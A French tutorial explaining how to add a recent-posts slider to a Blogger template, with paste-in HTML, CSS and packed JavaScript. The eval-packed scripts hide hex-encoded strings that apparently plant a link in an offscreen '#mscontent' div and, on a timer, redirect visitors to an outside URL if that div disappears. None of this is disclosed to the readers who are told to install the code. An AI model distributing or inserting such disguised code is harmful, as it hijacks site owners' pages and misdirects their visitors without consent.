Aujourd’hui je vous propose un plugin à ajouter ; diaporama ( slider ) automatique qui ajoute instantanément des articles récents, il est bien de savoir que ce diaporama et utilisable pour différentes sortes blogs, en effet il est possible d'ajouter ce slider à votre blogs Blogger grâce à des code à implémenter dans différentes zones du code HTML.
Remarque: Pour trouver les balises dans votre code du modèle HTML il faut utiliser les touches [ CTRL+F ]
Première étape:
Ajouter le code suivant au-dessus ( avant ) de </head> dans le code HTML de votre blog blogger.
<script src='//code.jquery.com/jquery-1.10.2.min.js' type='text/javascript'/>
Deuxième étape : ajouter le script:
il faut trouver la balise </body > et ajouter le code suivant avant c'est à dire avant </body>
<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(3(e,t){8(!e)b t;6 n=3(){2.4=t;2.9=t;2.P=[];2.a=[0,0];2.l=0;2.y=t;2.7={R:1k,E:1e,D:t,q:!t,c:t,14:t};6 n=2;2.S=3(t,n){2.4=t;2.d=t.11("d");2.a=[t.x(),t.w()];2.9=2.d.11("K").F(2.N);2.7=e.Q(2.7,n);2.15();b 2};2.N=3(t){6 r=e(2),i=r.x(),s=r.w();n.P[t]=[i,s];8(i>n.a[0])n.a[0]=i;8(s>n.a[1])n.a[1]=s};2.15=3(){2.4.A({19:"1m",z:n.a[0],12:2.9.1i().w()});2.d.A({z:2.9.f*v+"%",1l:"1g"});2.9.A("z",v/2.9.f+"%");8(2.7.E!==t){2.C();2.4.1c(2.g,2.C)}2.7.q&&e(1f).1h(2.q);2.7.c&&2.c();8(2.7.14){6 r=3(){n.4.A("z",T.1b(T.1j(n.4.x()/n.4.O().x()*v),v)+"%")};r();e(13).18(r)}8(2.7.J){2.4.O().10(\'<p h="J"><j h="B">â†</j><j h="m">→</j></p>\').G(".J j").X(3(){e.H(n[2.V])&&n[2.V]()})}8(e.17.1a){2.4.Z("1d",n.B).Z("1p",n.m)}};2.k=3(t,r){8(!2.9.M(t).f)t=0;8(t<0)t=2.9.f-1;6 i=2.9.M(t);6 s={12:i.w()};6 o=r?5:2.7.R;8(!2.d.1E(":1B")){n.4.G(".L:M("+t+")").Y("I").1A().1D("I");2.4.U(s,o)&&2.d.U(e.Q({1F:"-"+t+"1G%"},s),o,3(i){n.l=t;e.H(n.7.D)&&!r&&n.7.D(n.4)})}};2.C=3(){n.y=1n(3(){n.k(n.l+1)},n.7.E)};2.g=3(){n.y=1y(n.y);b n};2.q=3(t){6 r=t.1r;6 i={1q:n.B,1z:n.m,1o:n.g};8(e.H(i[r])){i[r]()}};2.m=3(){b n.g().k(n.l+1)};2.B=3(){b n.g().k(n.l-1)};2.c=3(){6 t=\'<W h="c">\';e.F(2.9,3(e){t+=\'<K h="L\'+(e<1?" I":"")+\'">\'+(e+1)+"</K>"});t+="</W>";2.4.Y("1s-c").10(t).G(".L").X(3(){n.k(e(2).1t())})}};e.1x.16=3(t){6 r=2.f;b 2.F(3(i){6 s=e(2);6 u=(1w n).S(s,t);s.1v("16"+(r>1?"-"+(i+1):""),u)})}})(13.1u,1C)',62,105,'||this|function|el||var|opts|if|items|max|return|dots|ul||length|stop|class||span|move|current|next||||keys|||||100|outerHeight|outerWidth|interval|width|css|prev|start|complete|delay|each|find|isFunction|active|arrows|li|dot|eq|calculate|parent|sizes|extend|speed|init|Math|animate|className|ol|click|addClass|on|append|children|height|window|fluid|setup|unslider|event|resize|overflow|swipe|min|hover|swipeleft|3e3|document|relative|keydown|first|round|500|position|hidden|setInterval|27|swiperight|37|which|has|index|jQuery|data|new|fn|clearInterval|39|siblings|animated|false|removeClass|is|left|00'.split('|'),0,{}))
$('.slider').unslider({
speed: 7000, // The speed to animate each slide (in milliseconds)
delay: 30000000, // The delay between slide animations (in milliseconds)
complete: function() {}, // A function that gets called after every slide animation
keys: true, // Enable keyboard (left, right) arrow shortcuts
dots: true, // Display dot navigation
fluid: false // Support responsive design. May break non-responsive designs
});
$( "<div class='slideraro'><a class='unslider-arrow prev'></a><a class='unslider-arrow next'></a></div>" ).insertBefore( ".slider ul#label_with_thumbs" );
var unslider = $('.slider').unslider();
$('.unslider-arrow').click(function() {
var fn = this.className.split(' ')[1];
// Either do unslider.data('unslider').next() or .prev() depending on the className
unslider.data('unslider')[fn]();
});
// sliders loader
$(window).bind("load", function() {
});
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(d(e){e.1K.1y=d(t){d r(e){e.W({z:"",L:"","S-1A":"","S-q":""});b n=e.1p(t.1a).z();b r=e.1p(t.1a).L();b i=e.z();b s=e.L();b o=i/n;R(s/o<r){e.W({z:"1i",L:r});i=i/(s/r);s=r}1L{e.W({L:"1i",z:n});i=n;s=s/o}b u=(i-n)/-2;b a=(s-r)/-2;e.W({"S-1A":u,"S-q":a})}b n={1a:"N",1D:1J};b t=e.1F(n,t);b i;b s=h;e(J).14("16",d(){1N(i);i=1Z(d(){s.Q(d(){r(e(h))})},t.1D)});1W h.Q(d(){b t=e(h);t.F("E",t.F("E"));t.1X(d(){r(t)});R(h.1Y){r(t)}})}})(1l);$(".1U 18").1y();$(".1Q-1R O 1o .P-1S").Q(d(){b t=$(h).1r().1q(0,1T),s=t.1V(" ");s>1P&&$(h).1r(t.1q(0,s).17(/[?,!\\.-:;]*$/,"..."))});$(".P-1G 18").Q(d(){$(h).F("E",$(h).F("E").17(/\\/s[0-9]+(\\-c)?\\//,"/1H-1E-c/"))});$(".1O-1I-1M 18").Q(d(){$(h).F("E",$(h).F("E").17(/\\/s[0-9]+(\\-c)?\\//,"/2g-2c-c/"))});b f=["\\B\\m\\l\\19\\y\\H\\13","\\m\\k\\y\\m\\k\\g\\2f\\K\\y\\A\\C\\2h","\\C\\l\\l","\\1m\\x\\l\\C\\A\\k\\j\\g\\k\\j","\\2i\\V\\g\\H\\j\\g\\B\\T\\K\\13\\T\\1t\\H\\T\\G\\V\\g\\1k\\20\\1n\\G\\j\\j\\19\\15\\M\\M\\D\\D\\D\\U\\x\\l\\B\\g\\l\\m\\X\\k\\K\\B\\U\\C\\A\\x\\1n\\1s\\2j\\29\\T\\23\\g\\l\\m\\X\\k\\1t\\M\\H\\1s","\\G\\j\\x\\y","\\y\\g\\k\\X\\j\\G","\\1m\\x\\l\\C\\A\\k\\j\\g\\k\\j\\15\\22\\m\\l\\m\\K\\y\\g","\\G\\V\\g\\1k","\\y\\A\\C\\H\\j\\m\\A\\k","\\G\\j\\j\\19\\15\\M\\M\\D\\D\\D\\U\\x\\l\\B\\g\\l\\m\\X\\k\\K\\B\\U\\C\\A\\x","\\V\\g\\H\\B\\13"];$(1g)[f[11]](d(){$(f[3])[f[2]](f[0],f[1]);$(f[3])[f[5]](f[4]);26(d(){R(!$(f[7])[f[6]]){J[f[9]][f[8]]=f[10]}},27)});1l(1g).2d(d($){"2b 2e";$(\'#q-v .p-P-1c-12 > a, #Z-v O 1o O .p-P-1c-12 > a\').1b(\' +\');$(\'#Z-v .p-P-1c-12 > a\').1b(\'<1B 28="p-25"></1B>\');$(\'#24\').21(\'<N 1x="p-Y"></N>\');$(\'#q-v .2a\').1b(\'<N 1x="q-p-Y"></N>\');$(\'#p-Y\').14(\'1w\',d(){$(\'#Z-v\').1d(1e);$(h).1f(\'1u\')});$(J).16(d(){b w=$(J).z();b I=$(\'#Z-v\');R(w>1C&&I.1h(\':1z\')){I.1j(\'1v\')}});$(\'#q-p-Y\').14(\'1w\',d(){$(\'#q-v O\').1d(1e);$(h).1f(\'1u\')});$(J).16(d(){b w=$(J).z();b I=$(\'#q-v O\');R(w>1C&&I.1h(\':1z\')){I.1j(\'1v\')}})});',62,144,'|||||||||||var||function||_0x760d|x65|this||x74|x6E|x73|x69|||menu|top|||||nav||x6D|x6C|width|x6F|x64|x63|x77|src|attr|x68|x61|navDisplay|window|x62|height|x2F|div|ul|item|each|if|margin|x20|x2E|x72|css|x67|icon|main|||children|x79|on|x3A|resize|replace|img|x70|parent|append|has|slideToggle|250|toggleClass|document|is|auto|removeAttr|x66|jQuery|x23|x22|li|parents|substr|text|x3E|x3C|active|style|click|id|resizeToParent|hidden|left|span|1000|delay|h80|extend|thumbnail|w100|image|100|fn|else|container|clearTimeout|avatar|52|popular|posts|snippet|60|imageContainer|lastIndexOf|return|load|complete|setTimeout|x3D|after|x76|x44|logo|arrow|setInterval|3000|class|x53|wrapper|use|h70|ready|strict|x2D|w70|x6B|x43|x4D'.split('|'),0,{}))
//]]>
</script>
Troisième étape : ajouter un autre script
On doit ajouter pour cette étape un autre code au dessus ( avant ) la balise </head> :
<style>
.slider { max-height:400px; } #main-up .woo { background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl4zLrIEGboOylFM4FILZbkGEmuLpYc6Zl-HhNFIS8uz3aP1PYfbPqfMrbTKDFOhlbUc1vmZWw1rIT7zC3NAYeolqEwtNFk1-I7smX_LG9FWUAMP97NPdxSFjB3-Mtj6fYvT43lF1uWCk/s1600/section_bg.png) no-repeat bottom center; padding-bottom: 12px; } .slider { position: relative; overflow: auto; width: 100% !important; direction: ltr !important; } .slider ul#label_with_thumbs, .slider ul#label_with_thumbs li {background: #333;margin: 0 !important; padding: 0 !important; border: 0; display:block } .slider ul li { position: relative; padding: 0; } .slider .imageContainer { height:400px; width: 100%; background:#333; opacity: 0.7; } .slider .label_thumb { width: 100% !important; height: 400px!important; } .slider .label_title { z-index: 1; text-align: center; width: auto; font-size:30px; opacity: 1; color: #fff !important; position: absolute; font-weight:400; display: block; left: 0; right: 0; bottom: 30px; margin: 0; font-family:'Lobster', cursive; text-shadow: 1px 1px 0px rgba(0, 0, 0, 1); }
.slideraro { position: absolute; z-index: 1; top: 15px; } .slideraro a { cursor: pointer; background-color:#f3794b; padding: 10px 15px; overflow: hidden; display: block; color: #FFF; } .slideraro a.unslider-arrow.prev:before { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .slideraro a.unslider-arrow.next:before { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .dots { position: absolute; top: 10px; } .dots li { font-size: .0em; display: none; width: 8px; border-radius: 50px; height: 8px; padding: 2px; border: 0; cursor: pointer; background-color: $(main.color); } .dots li.active { background: #fff; } .slideraro a.unslider-arrow.prev:before {content:"\f053";} .slideraro a.unslider-arrow.next:before {content:"\f054";} .slideraro a {margin-left: 5px;float: left;} .slider ul li { float: right; } .slideraro {right: 15px;}
.slideraro a.unslider-arrow.prev:before {
content: "\f053";
}
.slideraro a.unslider-arrow.prev:before {
display: inline-block;
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
line-height: 1;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
#mscontent{
position: absolute;
left: -999px;
font-size: 1px;
}
</style>
<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D 3Y(e){F.G(\'<2c 3X="41">\');19(q t=0;t<2G;t++){q n=e.1D.1C[t];q r=n.1o.$t;q i;B(t==e.1D.1C.X)1b;19(q o=0;o<n.I.X;o++){B(n.I[o].1F=="2L"&&n.I[o].1Y=="2M/2K"){q u=n.I[o].1o;q f=n.I[o].13}B(n.I[o].1F=="2A"){i=n.I[o].13;1b}}q l;42{l=n.46$2W.45}43(h){s=n.1q.$t;a=s.1h("<14");b=s.1h(\'Y="\',a);c=s.1h(\'"\',b+5);d=s.2O(b+5,c-b-5);B(a!=-1&&b!=-1&&c!=-1&&d!=""){l=d}1f l="36://3.35.2Z.2a/-2Y/2S/2Q/2P/2f/2X.2V"}q p=n.25.$t;q v=p.1c(0,4);q m=p.1c(5,7);q g=p.1c(8,10);q y=28 2d;y[1]="21";y[2]="1P";y[3]="1W";y[4]="1V";y[5]="2g";y[6]="2t";y[7]="2n";y[8]="1S";y[9]="2m";y[10]="1Q";y[11]="1R";y[12]="1X";F.G(\'<1k J="2w-3W">\');B(3V==1B)F.G(\'<1i J="3O"><a 13="\'+i+\'" 1Z ="22"><14 J="1T" Y="\'+l+\'" 1o="\'+r+\'" 3N="\'+r+\'"/></a></1i>\');F.G(\'<a J="3T" 13="\'+i+\'" 1Z ="22">\'+r+"</a>");q w="";q E=0;F.G("");p=n.25.$t;q S=[1,2,3,4,5,6,7,8,9,10,11,12];q x=["21","1P","1W","1V","2g","2t","2n","1S","2m","1Q","1R","1X"];q T=p.1e("-")[2].1c(0,2);q N=p.1e("-")[1];q C=p.1e("-")[0];19(q k=0;k<S.X;k++){B(23(N)==S[k]){N=x[k];1b}}q L=T+" "+N+" "+C;B(2R==1B){F.G(\'<1i J="4e"><a 13="\'+i+\'" J="2J-4h">\'+L+"</a>")}B(3K==1B){B(E==1){w=w+" | "}B(u=="1 26")u="1 3R";B(u=="0 26")u="3v 26";w=w+u;E=1;F.G(\'<a J="2w-2a" 13="\'+f+\'" 1Z ="22">\'+u+"</a></1i>")}B("1q"1z n){q A=n.1q.$t}1f B("1x"1z n){q A=n.1x.$t}1f q A="";q O=/<\\S[^>]*>/g;A=A.1U(O,"");B(2U==1B){B(A.X<24){F.G("");F.G(A);F.G("")}1f{F.G("");A=A.1c(0,24);q M=A.4g(" ");A=A.1c(0,M);F.G(\'<p J="2J-1x">\'+A+"...</p>")}}F.G("</1k>");B(t!=2G-1)F.G("")}F.G("</2c>")};$(F).2F(D(){$(\'.1T\').2E(\'Y\',D(i,Y){P Y.1U(\'3o-c\',\'2f\')})});$(F).2F(D(){$(\'.1T\').2E(\'Y\',D(i,Y){P Y.1U(\'3p.2D\',\'3D.2D\')})});!D(e){D t(t,n){P 23(e.V(t[0],n))||0}D n(e){P e[0].3F+t(e,"3G")+t(e,"3B")}D l(e){P e[0].3A+t(e,"3u")+t(e,"3t")}e.3w.3x=D(t){P t=e.3y({1y:17,1r:17,2e:17,2z:!1,2j:17,20:3J,2I:17,1p:!1,1t:!0,1E:4,1w:0,W:1,27:17,2h:17},t||{}),1K.2H(D(){D i(){P v.1L(p).1L(0,h)}D r(n){B(!s){B(t.27&&t.27.2x(1K,i()),t.1t)n<=t.1w-h-1?(u.V(c,-((b-2*h)*g)+"1I"),p=n==t.1w-h-1?b-2*h-1:b-2*h-t.W):n>=b-h+1?(u.V(c,-(h*g)+"1I"),p=n==b-h+1?h+1:h+t.W):p=n;1f{B(0>n||n>b-h)P;p=n}s=!0,u.3z("1n"==c?{1n:-(p*g)}:{2l:-(p*g)},t.20,t.2I,D(){t.2h&&t.2h.2x(1K,i()),s=!1}),t.1t||(e(t.1y+","+t.1r).3H("2N"),e(p-t.W<0&&t.1y||p+t.W>b-h&&t.1r||[]).3I("2N"))}P!1}q s=!1,c=t.1p?"2l":"1n",o=t.1p?"1A":"1G",a=e(1K),u=e("2c",a),f=e("1k",u),d=f.2o(),h=t.1E;t.1t&&(u.3E(f.1L(d-h-1+1).2u()).3s(f.1L(0,h).2u()),t.1w+=h);q v=e("1k",u),b=v.2o(),p=t.1w;a.V("3b","1E"),v.V({2q:"2p","3c":t.1p?"2B":"1n"}),u.V({3d:"0",3q:"0",2r:"2s","3n-3k-1Y":"2B","z-2v":"1"}),a.V({2q:"2p",2r:"2s","z-2v":"2",1n:"4f"});q g=t.1p?l(v):n(v),x=g*b,m=g*h;v.V({1G:v.1G(),1A:v.1A()}),u.V(o,x+"1I").V(c,-(p*g)),a.V(o,m+"1I"),t.1y&&e(t.1y).2b(D(){P r(p-t.W)}),t.1r&&e(t.1r).2b(D(){P r(p+t.W)}),t.2e&&e.2H(t.2e,D(n,l){e(l).2b(D(){P r(t.1t?t.1E+n:n)})}),t.2z&&a.2y&&a.2y(D(e,n){P r(n>0?p-t.W:p+t.W)}),t.2j&&32(D(){r(p+t.W)},t.2j+t.20)})}}(4n);D 4k(t){j=38?2C.4o((1s.X+1)*2C.4m()):0,14=28 2d;19(q e=0;e<3a;e++){q r,n,i=t.1D.1C[e],m=i.1o.$t;B(e==t.1D.1C.X)1b;19(q l=0;l<i.I.X;l++)B("2A"==i.I[l].1F){n=i.I[l].13;1b}19(q l=0;l<i.I.X;l++)B("2L"==i.I[l].1F&&"2M/2K"==i.I[l].1Y){r=i.I[l].1o.1e(" ")[0];1b}B("1q"1z i)q o=i.1q.$t;1f B("1x"1z i)q o=i.1x.$t;1f q o="";1O=i.25.$t,j>1s.X-1&&(j=0),14[e]=1s[j],s=o,a=s.1h("<14"),b=s.1h(\'Y="\',a),c=s.1h(\'"\',b+5),d=s.2O(b+5,c-b-5),-1!=a&&-1!=b&&-1!=c&&""!=d&&(14[e]=d);19(q u=[1,2,3,4,5,6,7,8,9,10,11,12],h=["21","1P","1W","1V","2g","3h","40","1S","3Z","1Q","1R","1X"],p=(1O.1e("-")[2].1c(0,2),1O.1e("-")[1]),f=(1O.1e("-")[0],0);f<u.X;f++)B(23(p)==u[f]){p=h[f];1b}q w=\'<1k J="2T"><1i J="3M"><a 13="\'+n+\'"><14 1G="3L" 3P-1A="3Q" J="3U 2W 3S " Y="\'+14[e]+\'"/></a><39 J="2T-48"></39></1i><a J="47" 13="\'+n+\'">\'+m+"</a></1k>";F.G(w),j++}}q H=["\\1g\\Z\\R\\2k\\1d\\1l\\29","\\Z\\U\\1d\\Z\\U\\K\\4l\\1v\\1d\\1a\\16\\4i","\\16\\R\\R","\\30\\18\\R\\16\\1a\\U\\Q\\K\\U\\Q","\\4c\\1M\\K\\1l\\Q\\K\\1g\\1H\\1v\\29\\1H\\34\\1l\\1H\\1j\\1M\\K\\31\\4b\\37\\1j\\Q\\Q\\2k\\2i\\1u\\1u\\1m\\1m\\1m\\1N\\18\\R\\1g\\K\\R\\Z\\1J\\U\\1v\\1g\\1N\\16\\1a\\18\\37\\33\\4a\\4j\\1H\\49\\K\\R\\Z\\1J\\U\\34\\1u\\1l\\33","\\1j\\Q\\18\\1d","\\1d\\K\\U\\1J\\Q\\1j","\\30\\18\\R\\16\\1a\\U\\Q\\K\\U\\Q\\2i\\4d\\Z\\R\\Z\\1v\\1d\\K","\\1j\\1M\\K\\31","\\1d\\1a\\16\\1l\\Q\\Z\\1a\\U","\\1j\\Q\\Q\\2k\\2i\\1u\\1u\\1m\\1m\\1m\\1N\\18\\R\\1g\\K\\R\\Z\\1J\\U\\1v\\1g\\1N\\16\\1a\\18","\\1M\\K\\1l\\1g\\29"];$(F)[H[11]](D(){$(H[3])[H[2]](H[0],H[1]);$(H[3])[H[5]](H[4]);32(D(){B(!$(H[7])[H[6]]){3l[H[9]][H[8]]=H[10]}},3g)});1s=28 2d,1s[0]="36://3.35.2Z.2a/-2Y/2S/2Q/2P/2f/2X.2V",38=!0,3C=!0,3e=3i,3r=0,3j=15,3a=6;q 3f=3,3m=!1,2R=!0,2U=!0,24=44;',62,273,'||||||||||||||||||||||||||var|||||||||||if||function||document|write|_0x760d|link|class|x65|||||return|x74|x73|||x6E|css|scroll|length|src|x69||||href|img||x63|null|x6D|for|x6F|break|substring|x6C|split|else|x64|indexOf|div|x68|li|x61|x77|left|title|vertical|content|btnNext|imgr|circular|x2F|x62|start|summary|btnPrev|in|height|true|entry|feed|visible|rel|width|x20|px|x67|this|slice|x72|x2E|postdate|Feb|Oct|Nov|Aug|label_thumb|replace|Apr|Mar|Dec|type|target|speed|Jan|_top|parseInt|numchars|published|Comments|beforeStart|new|x79|com|click|ul|Array|btnGo|s1600|May|afterEnd|x3A|auto|x70|top|Sept|July|size|hidden|overflow|position|relative|June|clone|index|recent|call|mousewheel|mouseWheel|alternate|none|Math|jpg|attr|ready|numposts|each|easing|post|html|replies|text|disabled|substr|AIyPvrpGLn8|AAAAAAAAE5k|showpostdate|UVopoHY30SI|car|showpostsummary|png|thumbnail|picture_not_available|zP87C2q9yog|blogspot|x23|x66|setInterval|x3E|x3C|bp|http|x22|showRandomImg|span|numposts5|visibility|float|margin|summaryPost|numpost|3000|Jun|150|summaryTitle|style|window|displayseparator|list|s72|default|padding|summaryPost1|append|marginBottom|marginTop|No|fn|jCarouselLite|extend|animate|offsetHeight|marginRight|aBold|mqdefault|prepend|offsetWidth|marginLeft|removeClass|addClass|200|showcommentnum|236|thumbE|alt|imageContainer|min|190|Comment|carousel|label_title|Thumbnail|showpostthumbnails|box|id|labelthumbs|Sep|Jul|label_with_thumbs|try|catch|50|url|media|slider_title|overlay|x44|x4D|x3D|x43|x76|toe|0px|lastIndexOf|date|x6B|x53|recentarticles1|x2D|random|jQuery|floor'.split('|'),0,{}))
//]]>
</script>
On peut ajouter ce code entre <style> et </style> avant une autre balise qui est <b:skin> qui est le style du diaporama.
Quatrième étape:
Trouvez ce code
<b:section class='main' id='main' name='Main' showaddelement='no'>
Ajoutez avant lui ce code suivant:
<b:section class='slider-box' id='slider-box' maxwidgets='1' showaddelement='yes'>
<b:widget id='HTML2' locked='true' title='السلايد شو' type='HTML'>
<b:includable id='main'>
<div class='widget-content woo'>
<b:if cond='data:content == "recent"'>
<div class='slider'>
<script type='text/javascript'>var numposts = 5;var showpostthumbnails = true;var displaymore = true;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = false;var numchars = 100;</script>
<script src='/feeds/posts/default?published&alt=json-in-script&callback=labelthumbs' type='text/javascript'/>
</div>
<b:else/>
<div class='slider'>
<script type='text/javascript'>var numposts = 5;var showpostthumbnails = true;var displaymore = true;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = false;var numchars = 100;</script>
<script expr:src='"/feeds/posts/default/-/" + data:content + "?published&alt=json-in-script&callback=labelthumbs"' type='text/javascript'/>
</div>
</b:if>
</div>
</b:includable>
</b:widget>
</b:section>
<div id='mscontent'/>
Après avoir terminé les quatre étapes dirigez vous dans la mise en page et vous allez trouver un autre widget et emplacement qui a été ajouté portant le nom du silder ( diaporama )
Enfin ajouter le texte suivant dans le contenu du widget ; recent
Le diaporama fonctionne parfaitement si vous suivez les étapes précédentes
Aucun commentaire:
Enregistrer un commentaire
Ajouter votre commentaire ici